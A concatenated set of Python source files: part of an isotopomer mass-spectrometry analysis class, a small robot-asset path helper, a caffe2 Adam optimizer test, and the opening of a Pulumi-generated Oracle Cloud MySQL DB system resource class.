nC*'1'; #intialize emu_lst = list(emu_c); for j in range(nC-1): emu_lst[j] = '0' for c in range(j,nC-1): emu_lst_2 = copy.copy(emu_lst) emu_lst_2[j] = '1'; emu_lst_2[c] = '0'; emu_tmp = copy.copy(emu_lst_2); cfrag = []; for i in range(c,nC-1): emu_tmp[c] = '1'; emu_tmp[i] = '0'; emu_str = 'x' + ''.join(emu_tmp) dfrag = [csource_I[p] for p,n in enumerate(emu_tmp) if n=='1'] dfrag_tmp = ''.join(dfrag) #if emu_str.find('0')==-1: #ignore the fully labeled fragment # continue; spectrum_tmp = self.report_fragmentSpectrum_normSum([dfrag_tmp],round_mass=True) # format from dict into a list: spectrum_tmp_lst = []; spectrum_masses_lst = []; for k,v in spectrum_tmp[dfrag_tmp].items(): spectrum_masses_lst.append(k); spectrum_masses_lst.sort(); for k in spectrum_masses_lst: spectrum_tmp_lst.append(spectrum_tmp[dfrag_tmp][k]); emu_O[emu_str] = spectrum_tmp_lst; return emu_O; #table updates: def update_dataStage01NormalizedFromAverages(self,experiment_id_I): '''update data_stage01_normalized from data_stage01_averages''' # get row information for all samples row = []; row = self.stage01_isotopomer_query.get_row_experimentID_dataStage01Averages(experiment_id_I); # update entries that match the corresponding experiment_id/sample_name_abbreviation/sample_type/time_point/met_id/fragment_formula/fragment_mass # with used_ and comment_ self.stage01_isotopomer_query.update_usedAndComment_stage01_isotopomer_normalized(row); #table initializations: def drop_dataStage01(self): try: #data_stage01_isotopomer_MQResultsTable.__table__.drop(engine,True); data_stage01_isotopomer_peakData.__table__.drop(engine,True); data_stage01_isotopomer_peakList.__table__.drop(engine,True); data_stage01_isotopomer_peakSpectrum.__table__.drop(engine,True); data_stage01_isotopomer_normalized.__table__.drop(engine,True); data_stage01_isotopomer_averages.__table__.drop(engine,True); data_stage01_isotopomer_averagesNormSum.__table__.drop(engine,True); data_stage01_isotopomer_spectrumAccuracy.__table__.drop(engine,True); except SQLAlchemyError as e: print(e); def reset_dataStage01(self,experiment_id_I = None): try: if experiment_id_I: reset = self.session.query(data_stage01_isotopomer_peakSpectrum).filter(data_stage01_isotopomer_peakSpectrum.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_peakList).filter(data_stage01_isotopomer_peakList.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_peakData).filter(data_stage01_isotopomer_peakData.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_normalized).filter(data_stage01_isotopomer_normalized.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_averages).filter(data_stage01_isotopomer_averages.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_averagesNormSum).filter(data_stage01_isotopomer_averagesNormSum.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_spectrumAccuracy).filter(data_stage01_isotopomer_spectrumAccuracy.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); else: reset = self.session.query(data_stage01_isotopomer_peakSpectrum).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_peakList).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_peakData).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_normalized).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_averages).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_averagesNormSum).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_spectrumAccuracy).delete(synchronize_session=False); self.session.commit(); except SQLAlchemyError as e: print(e); def reset_datastage01_isotopomer_averages(self,experiment_id_I): try: if experiment_id_I: reset = self.session.query(data_stage01_isotopomer_averages).filter(data_stage01_isotopomer_averages.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); reset = self.session.query(data_stage01_isotopomer_averagesNormSum).filter(data_stage01_isotopomer_averagesNormSum.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); self.session.commit(); except SQLAlchemyError as e: print(e); def reset_datastage01_isotopomer_peakData(self,experiment_id_I): try: if experiment_id_I: reset = self.session.query(data_stage01_isotopomer_peakData).filter(data_stage01_isotopomer_peakData.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); self.session.commit(); except SQLAlchemyError as e: print(e); def initialize_dataStage01(self): try: data_stage01_isotopomer_MQResultsTable.__table__.create(engine,True); data_stage01_isotopomer_peakSpectrum.__table__.create(engine,True); data_stage01_isotopomer_peakList.__table__.create(engine,True); data_stage01_isotopomer_peakData.__table__.create(engine,True); data_stage01_isotopomer_normalized.__table__.create(engine,True); data_stage01_isotopomer_averages.__table__.create(engine,True); data_stage01_isotopomer_averagesNormSum.__table__.create(engine,True); data_stage01_isotopomer_spectrumAccuracy.__table__.create(engine,True); except SQLAlchemyError as e: print(e); #plotting methods: def plot_normalizedSpectrum(self,experiment_id_I, sample_names_I = None, sample_name_abbreviations_I = None, met_ids_I = None, scan_types_I = None): '''plot the normalized spectrum''' '''Assumptions: only a single fragment:spectrum is used_ per sample name abbreviation, time-point, replicate, scan_type (i.e. there are no multiple dilutions of the same precursor:spectrum that are used_) ''' print('plot_normalizedSpectrum...') plot = matplot(); # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01Normalized(experiment_id_I); for tp in time_points: print('Plotting precursor and product spectrum from isotopomer normalized for time-point ' + str(tp)); if sample_names_I: sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sn in sample_names_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndSampleName_dataStage01Normalized(experiment_id_I,st,tp,sn); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); elif sample_name_abbreviations_I: sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sn in sample_name_abbreviations_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndSampleNameAbbreviation_dataStage01Normalized(experiment_id_I,st,tp,sn); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); # query sample types from sample name abbreviations and time-point from data_stage01_isotopomer_normalized else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_dataStage01Normalized(experiment_id_I,st,tp); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_abbreviations): print('Plotting precursor and product spectrum from isotopomer normalized for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = []; scan_types_tmp = []; scan_types_tmp = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); scan_types = [st for st in scan_types_tmp if st in scan_types_I]; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); for scan_type in scan_types: print('Plotting precursor and product spectrum for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanType_dataStage01Normalized( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Plotting precursor and product spectrum for metabolite ' + met); replicate_numbers = []; replicate_numbers = self.stage01_isotopomer_query.get_replicateNumbers_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetID_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met); peakSpectrum_normalized_lst = []; fragment_formulas_lst = []; if not(replicate_numbers): continue; #no replicates found for rep in replicate_numbers: print('Plotting precursor and product spectrum for replicate_number ' + str(rep)); #get data peakData_I = {}; peakData_I = self.stage01_isotopomer_query.get_dataNormalized_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetIDAndReplicateNumber_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met,rep); if peakData_I: fragment_formulas = list(peakData_I.keys()); fragment_formulas_lst.extend(fragment_formulas) peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakList_normMax(\ peakData_I, fragment_formulas, True); peakSpectrum_normalized_lst.append(peakSpectrum_normalized); # plot spectrum data for all replicates and fragments fragment_formulas_unique = list(set(fragment_formulas_lst)); for fragment in fragment_formulas_unique: panelLabels = []; xticklabels = []; mean = []; xlabel = 'm/z' ylabel = 'intensity' for rep,spectrum in enumerate(peakSpectrum_normalized_lst): panelLabels_tmp = sna+'_'+met+'_'+fragment+'_'+str(rep+1) xticklabels_tmp = []; mean_tmp = []; if fragment not in spectrum: print('no spectrum found for fragment ' + fragment); continue; for mass,intensity in spectrum[fragment].items(): intensity_tmp = intensity; if not intensity_tmp: intensity_tmp=0.0 mean_tmp.append(intensity_tmp); xticklabels_tmp.append(mass); panelLabels.append(panelLabels_tmp); xticklabels.append(xticklabels_tmp); mean.append(mean_tmp); plot.multiPanelBarPlot('',xticklabels,xlabel,ylabel,panelLabels,mean); def plot_normalizedSpectrumNormSum(self,experiment_id_I, sample_names_I = None, sample_name_abbreviations_I = None, met_ids_I = None, scan_types_I = None): '''calculate the average normalized intensity for all samples and scan types''' '''Assumptions: only a single fragment:spectrum is used_ per sample name abbreviation, time-point, replicate, scan_type (i.e. there are no multiple dilutions of the same precursor:spectrum that are used_) ''' print('plot_normalizedSpectrumNormSum...') plot = matplot(); # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01Normalized(experiment_id_I); for tp in time_points: print('Plotting precursor and product spectrum from isotopomer normalized for time-point ' + str(tp)); if sample_names_I: sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sn in sample_names_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndSampleName_dataStage01Normalized(experiment_id_I,st,tp,sn); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); elif sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; sample_types_lst = ['Unknown' for x in sample_abbreviations]; # query sample types from sample name abbreviations and time-point from data_stage01_isotopomer_normalized else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_dataStage01Normalized(experiment_id_I,st,tp); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_abbreviations): print('Plotting precursor and product spectrum from isotopomer normalized for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = []; scan_types_tmp = []; scan_types_tmp = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); scan_types = [st for st in scan_types_tmp if st in scan_types_I]; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); for scan_type in scan_types: print('Plotting precursor and product spectrum for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanType_dataStage01Normalized( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Plotting precursor and product spectrum for metabolite ' + met); # get replicates replicate_numbers = []; replicate_numbers = self.stage01_isotopomer_query.get_replicateNumbers_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetID_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met); peakSpectrum_normalized_lst = []; for rep in replicate_numbers: print('Plotting precursor and product spectrum for replicate_number ' + str(rep)); #get data peakData_I = {}; peakData_I = self.stage01_isotopomer_query.get_dataNormalized_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetIDAndReplicateNumber_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met,rep); fragment_formulas = list(peakData_I.keys()); peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakList_normSum(\ peakData_I, fragment_formulas, True); peakSpectrum_normalized_lst.append(peakSpectrum_normalized); # plot spectrum data for all replicates and fragments fragment_formulas_unique = list(set(fragment_formulas_lst)); for fragment in fragment_formulas_unique: panelLabels = []; xticklabels = []; mean = []; xlabel = 'm/z' ylabel = 'intensity' for rep,spectrum in enumerate(peakSpectrum_normalized_lst): panelLabels_tmp = sna+'_'+met+'_'+fragment+'_'+str(rep+1) xticklabels_tmp = []; mean_tmp = []; for mass,intensity in spectrum[fragment].items(): intensity_tmp = intensity; if not intensity_tmp: intensity_tmp=0.0 mean_tmp.append(intensity_tmp); xticklabels_tmp.append(mass); panelLabels.append(panelLabels_tmp); xticklabels.append(xticklabels_tmp); mean.append(mean_tmp); plot.multiPanelBarPlot('',xticklabels,xlabel,ylabel,panelLabels,mean); def plot_averageSpectrumNormSum(self,experiment_id_I, time_points_I = None, sample_name_abbreviations_I = None, met_ids_I = None, scan_types_I = None): '''calculate the average normalized intensity for all samples and scan types''' '''Assumptions: only a single fragment:spectrum is used_ per sample name abbreviation, time-point, replicate, scan_type (i.e. there are no multiple dilutions of the same precursor:spectrum that are used_) ''' print('plot_averagesNormSum...') plot = matplot(); # get time points if time_points_I: time_points = time_points_I; else: time_points = []; time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01AveragesNormSum(experiment_id_I); for tp in time_points: print('Plotting product and precursor for time-point ' + str(tp)); # get sample names and sample name abbreviations if sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; sample_types_lst = ['Unknown' for x in sample_abbreviations]; else: sample_abbreviations = []; sample_types = ['Unknown']; sample_types_lst = []; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_dataStage01AveragesNormSum(experiment_id_I,st,tp); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_abbreviations): print('Plotting product and precursor for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = []; scan_types_tmp = []; scan_types_tmp = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01AveragesNormSum(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); scan_types = [st for st in scan_types_tmp if st in scan_types_I]; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01AveragesNormSum(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); for scan_type in scan_types: print('Plotting product and precursor for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanType_dataStage01AveragesNormSum( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Plotting product and precursor for metabolite ' + met); # fragments fragment_formulas = []; fragment_formulas = self.stage01_isotopomer_query.get_fragmentFormula_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanTypeAndMetID_dataStage01AveragesNormSum( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type,met); for frag in fragment_formulas: print('Plotting product and precursor for fragment ' + frag); # data data_mat = []; data_mat_cv = []; data_masses = []; data_mat,data_mat_cv,data_masses = self.stage01_isotopomer_query.get_spectrum_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanTypeAndMetIDAndFragmentFormula_dataStage01AveragesNormSum( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type,met,frag); data_stdev = []; for i,d in enumerate(data_mat): stdev = 0.0; stderr = 0.0; if data_mat_cv[i]: stdev = data_mat[i]*data_mat_cv[i]/100; data_stdev.append(stdev); title = sna+'_'+met+'_'+frag; plot.barPlot(title,data_masses,'intensity','m/z',data_mat,var_I=None,se_I=data_stdev,add_labels_I=True) # data_stage01_isotopomer deletes def execute_deleteExperimentFromMQResultsTable(self,experiment_id_I,sample_types_I = ['Quality Control','Unknown']): '''delete rows in data_stage01_MQResultsTable by sample name and sample type (default = Quality Control and Unknown) from the experiment''' print('deleting rows in data_stage01_MQResultsTable by sample_name and sample_type...'); dataDeletes = []; # get sample_names sample_names = []; for st in sample_types_I: sample_names_tmp = []; sample_names_tmp = self.stage01_isotopomer_query.get_allSampleNames_experimentIDAndSampleType(experiment_id_I,st); sample_names.extend(sample_names_tmp); for sn in sample_names: # format into a dictionary list print('deleting sample_name ' + sn); dataDeletes.append({'sample_name':sn}); # delete rows based on sample_names self.stage01_isotopomer_query.delete_row_sampleName(dataDeletes);

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0

1

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null

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7

b863a6c45da3cc66b9aafd17380a1b9266d1ca47

91

py

Python

pybullet-gym-rocus/pybulletgym_rocus/envs/assets/robots/franka_panda/__init__.py

nbfigueroa/RoCUS

f1e1a538a2d0d12d307d9a003c4a2d5bcadcb30f

[ "MIT" ]

7

2020-11-20T20:45:49.000Z

2021-12-14T19:27:20.000Z

urdf/franka_panda/__init__.py

michaelyeah7/roblax

7f1503986fd50c8336b8b9e7bb1d2f4be4e84b08

[ "MIT" ]

1

2021-03-03T03:57:21.000Z

urdf/franka_panda/__init__.py

michaelyeah7/roblax

7f1503986fd50c8336b8b9e7bb1d2f4be4e84b08

[ "MIT" ]

4

2020-11-20T17:00:27.000Z

2021-04-01T00:53:50.000Z

import os def get_data_path() -> str: return os.path.join(os.path.dirname(__file__))

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8

b876121bec0578b39db4f9db2727d297283b3a8a

3,294

py

Python

venv/Lib/site-packages/caffe2/python/ideep/adam_op_test.py

Westlanderz/AI-Plat1

1187c22819e5135e8e8189c99b86a93a0d66b8d8

[ "MIT" ]

1

2022-01-08T12:30:44.000Z

venv/Lib/site-packages/caffe2/python/ideep/adam_op_test.py

Westlanderz/AI-Plat1

1187c22819e5135e8e8189c99b86a93a0d66b8d8

[ "MIT" ]

null

venv/Lib/site-packages/caffe2/python/ideep/adam_op_test.py

Westlanderz/AI-Plat1

1187c22819e5135e8e8189c99b86a93a0d66b8d8

[ "MIT" ]

null

import numpy as np import hypothesis.strategies as st import unittest import caffe2.python.hypothesis_test_util as hu from caffe2.python import core, workspace from hypothesis import given import caffe2.python.ideep_test_util as mu @unittest.skipIf(not workspace.C.use_mkldnn, "No MKLDNN support.") class TestAdamOps(hu.HypothesisTestCase): @given(inputs=hu.tensors(n=4), ITER=st.integers(min_value=0, max_value=10000), LR=st.floats(min_value=0.01, max_value=0.99, allow_nan=False, allow_infinity=False), beta1=st.floats(min_value=0.01, max_value=0.99, allow_nan=False, allow_infinity=False), beta2=st.floats(min_value=0.01, max_value=0.99, allow_nan=False, allow_infinity=False), epsilon=st.floats(min_value=0.01, max_value=0.99, allow_nan=False, allow_infinity=False), **mu.gcs) def test_adam(self, inputs, ITER, LR, beta1, beta2, epsilon, gc, dc): param, mom1, mom2, grad = inputs ITER = np.array([ITER], dtype=np.int64) LR = np.array([LR], dtype=np.float32) mom2 = np.absolute(mom2) op = core.CreateOperator( "Adam", ["param", "mom1", "mom2", "grad", "lr", "iter"], ["output_param", "output_mom1", "output_mom2"], beta1=beta1, beta2=beta2, epsilon=epsilon) # Iter lives on the CPU input_device_options = {'iter': hu.cpu_do, 'lr': hu.cpu_do} self.assertDeviceChecks( dc, op, [param, mom1, mom2, grad, LR, ITER], [0], input_device_options=input_device_options, threshold=0.001) @given(inputs=hu.tensors(n=4), ITER=st.integers(min_value=0, max_value=10000), LR=st.floats(min_value=0.01, max_value=0.99, allow_nan=False, allow_infinity=False), beta1=st.floats(min_value=0.01, max_value=0.99, allow_nan=False, allow_infinity=False), beta2=st.floats(min_value=0.01, max_value=0.99, allow_nan=False, allow_infinity=False), epsilon=st.floats(min_value=0.01, max_value=0.99, allow_nan=False, allow_infinity=False), **mu.gcs) def test_adam_output_grad(self, inputs, ITER, LR, beta1, beta2, epsilon, gc, dc): param, mom1, mom2, grad = inputs ITER = np.array([ITER], dtype=np.int64) LR = np.array([LR], dtype=np.float32) mom2 = np.absolute(mom2) op = core.CreateOperator( "Adam", ["param", "mom1", "mom2", "grad", "lr", "iter"], ["output_param", "output_mom1", "output_mom2", "output_grad"], beta1=beta1, beta2=beta2, epsilon=epsilon) # Iter lives on the CPU input_device_options = {'iter': hu.cpu_do, 'lr': hu.cpu_do} self.assertDeviceChecks( dc, op, [param, mom1, mom2, grad, LR, ITER], [0], input_device_options=input_device_options, threshold=0.001) if __name__ == "__main__": unittest.main()

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null

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7

b88cf46affe5991b9faf2182211229897bc0e825

87,210

py

Python

sdk/python/pulumi_oci/mysql/mysql_db_system.py

EladGabay/pulumi-oci

6841e27d4a1a7e15c672306b769912efbfd3ba99

[ "ECL-2.0", "Apache-2.0" ]

5

2021-08-17T11:14:46.000Z

2021-12-31T02:07:03.000Z

sdk/python/pulumi_oci/mysql/mysql_db_system.py

pulumi-oci/pulumi-oci

6841e27d4a1a7e15c672306b769912efbfd3ba99

[ "ECL-2.0", "Apache-2.0" ]

1

2021-09-06T11:21:29.000Z

sdk/python/pulumi_oci/mysql/mysql_db_system.py

pulumi-oci/pulumi-oci

6841e27d4a1a7e15c672306b769912efbfd3ba99

[ "ECL-2.0", "Apache-2.0" ]

2

2021-08-24T23:31:30.000Z

2022-01-02T19:26:54.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ['MysqlDbSystemArgs', 'MysqlDbSystem'] @pulumi.input_type class MysqlDbSystemArgs: def __init__(__self__, *, admin_password: pulumi.Input[str], admin_username: pulumi.Input[str], availability_domain: pulumi.Input[str], compartment_id: pulumi.Input[str], shape_name: pulumi.Input[str], subnet_id: pulumi.Input[str], backup_policy: Optional[pulumi.Input['MysqlDbSystemBackupPolicyArgs']] = None, configuration_id: Optional[pulumi.Input[str]] = None, data_storage_size_in_gb: Optional[pulumi.Input[int]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, description: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, fault_domain: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, hostname_label: Optional[pulumi.Input[str]] = None, ip_address: Optional[pulumi.Input[str]] = None, is_highly_available: Optional[pulumi.Input[bool]] = None, maintenance: Optional[pulumi.Input['MysqlDbSystemMaintenanceArgs']] = None, mysql_version: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None, port_x: Optional[pulumi.Input[int]] = None, shutdown_type: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input['MysqlDbSystemSourceArgs']] = None, state: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a MysqlDbSystem resource. :param pulumi.Input[str] admin_password: The password for the administrative user. The password must be between 8 and 32 characters long, and must contain at least 1 numeric character, 1 lowercase character, 1 uppercase character, and 1 special (nonalphanumeric) character. :param pulumi.Input[str] admin_username: The username for the administrative user. :param pulumi.Input[str] availability_domain: The availability domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. :param pulumi.Input[str] compartment_id: The OCID of the compartment. :param pulumi.Input[str] shape_name: The name of the shape. The shape determines the resources allocated * CPU cores and memory for VM shapes; CPU cores, memory and storage for non-VM (or bare metal) shapes. To get a list of shapes, use the [ListShapes](https://docs.cloud.oracle.com/iaas/api/#/en/mysql/20190415/ShapeSummary/ListShapes) operation. :param pulumi.Input[str] subnet_id: The OCID of the subnet the DB System is associated with. :param pulumi.Input['MysqlDbSystemBackupPolicyArgs'] backup_policy: (Updatable) Backup policy as optionally used for DB System Creation. :param pulumi.Input[str] configuration_id: The OCID of the Configuration to be used for this DB System. :param pulumi.Input[int] data_storage_size_in_gb: Initial size of the data volume in GBs that will be created and attached. Keep in mind that this only specifies the size of the database data volume, the log volume for the database will be scaled appropriately with its shape. It is required if you are creating a new database. It cannot be set if you are creating a database from a backup. :param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Usage of predefined tag keys. These predefined keys are scoped to namespaces. Example: `{"foo-namespace.bar-key": "value"}` :param pulumi.Input[str] description: (Updatable) User-provided data about the DB System. :param pulumi.Input[str] display_name: (Updatable) The user-friendly name for the DB System. It does not have to be unique. :param pulumi.Input[str] fault_domain: The fault domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. :param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}` :param pulumi.Input[str] hostname_label: The hostname for the primary endpoint of the DB System. Used for DNS. :param pulumi.Input[str] ip_address: The IP address the DB System is configured to listen on. A private IP address of your choice to assign to the primary endpoint of the DB System. Must be an available IP address within the subnet's CIDR. If you don't specify a value, Oracle automatically assigns a private IP address from the subnet. This should be a "dotted-quad" style IPv4 address. :param pulumi.Input[bool] is_highly_available: (Updatable) Specifies if the DB System is highly available. :param pulumi.Input['MysqlDbSystemMaintenanceArgs'] maintenance: (Updatable) The Maintenance Policy for the DB System. `maintenance` and `backup_policy` cannot be updated in the same request. :param pulumi.Input[str] mysql_version: Name of the MySQL Version in use for the DB System. :param pulumi.Input[int] port: The port for primary endpoint of the DB System to listen on. :param pulumi.Input[int] port_x: The TCP network port on which X Plugin listens for connections. This is the X Plugin equivalent of port. :param pulumi.Input[str] shutdown_type: It is applicable only for stopping a DB System. Could be set to `FAST`, `SLOW` or `IMMEDIATE`. Default value is `FAST`. :param pulumi.Input['MysqlDbSystemSourceArgs'] source: Parameters detailing how to provision the initial data of the system. :param pulumi.Input[str] state: (Updatable) The target state for the DB System. Could be set to `ACTIVE` or `INACTIVE`. """ pulumi.set(__self__, "admin_password", admin_password) pulumi.set(__self__, "admin_username", admin_username) pulumi.set(__self__, "availability_domain", availability_domain) pulumi.set(__self__, "compartment_id", compartment_id) pulumi.set(__self__, "shape_name", shape_name) pulumi.set(__self__, "subnet_id", subnet_id) if backup_policy is not None: pulumi.set(__self__, "backup_policy", backup_policy) if configuration_id is not None: pulumi.set(__self__, "configuration_id", configuration_id) if data_storage_size_in_gb is not None: pulumi.set(__self__, "data_storage_size_in_gb", data_storage_size_in_gb) if defined_tags is not None: pulumi.set(__self__, "defined_tags", defined_tags) if description is not None: pulumi.set(__self__, "description", description) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if fault_domain is not None: pulumi.set(__self__, "fault_domain", fault_domain) if freeform_tags is not None: pulumi.set(__self__, "freeform_tags", freeform_tags) if hostname_label is not None: pulumi.set(__self__, "hostname_label", hostname_label) if ip_address is not None: pulumi.set(__self__, "ip_address", ip_address) if is_highly_available is not None: pulumi.set(__self__, "is_highly_available", is_highly_available) if maintenance is not None: pulumi.set(__self__, "maintenance", maintenance) if mysql_version is not None: warnings.warn("""The 'mysql_version' field has been deprecated and may be removed in a future version. Do not use this field.""", DeprecationWarning) pulumi.log.warn("""mysql_version is deprecated: The 'mysql_version' field has been deprecated and may be removed in a future version. Do not use this field.""") if mysql_version is not None: pulumi.set(__self__, "mysql_version", mysql_version) if port is not None: pulumi.set(__self__, "port", port) if port_x is not None: pulumi.set(__self__, "port_x", port_x) if shutdown_type is not None: pulumi.set(__self__, "shutdown_type", shutdown_type) if source is not None: pulumi.set(__self__, "source", source) if state is not None: pulumi.set(__self__, "state", state) @property @pulumi.getter(name="adminPassword") def admin_password(self) -> pulumi.Input[str]: """ The password for the administrative user. The password must be between 8 and 32 characters long, and must contain at least 1 numeric character, 1 lowercase character, 1 uppercase character, and 1 special (nonalphanumeric) character. """ return pulumi.get(self, "admin_password") @admin_password.setter def admin_password(self, value: pulumi.Input[str]): pulumi.set(self, "admin_password", value) @property @pulumi.getter(name="adminUsername") def admin_username(self) -> pulumi.Input[str]: """ The username for the administrative user. """ return pulumi.get(self, "admin_username") @admin_username.setter def admin_username(self, value: pulumi.Input[str]): pulumi.set(self, "admin_username", value) @property @pulumi.getter(name="availabilityDomain") def availability_domain(self) -> pulumi.Input[str]: """ The availability domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. """ return pulumi.get(self, "availability_domain") @availability_domain.setter def availability_domain(self, value: pulumi.Input[str]): 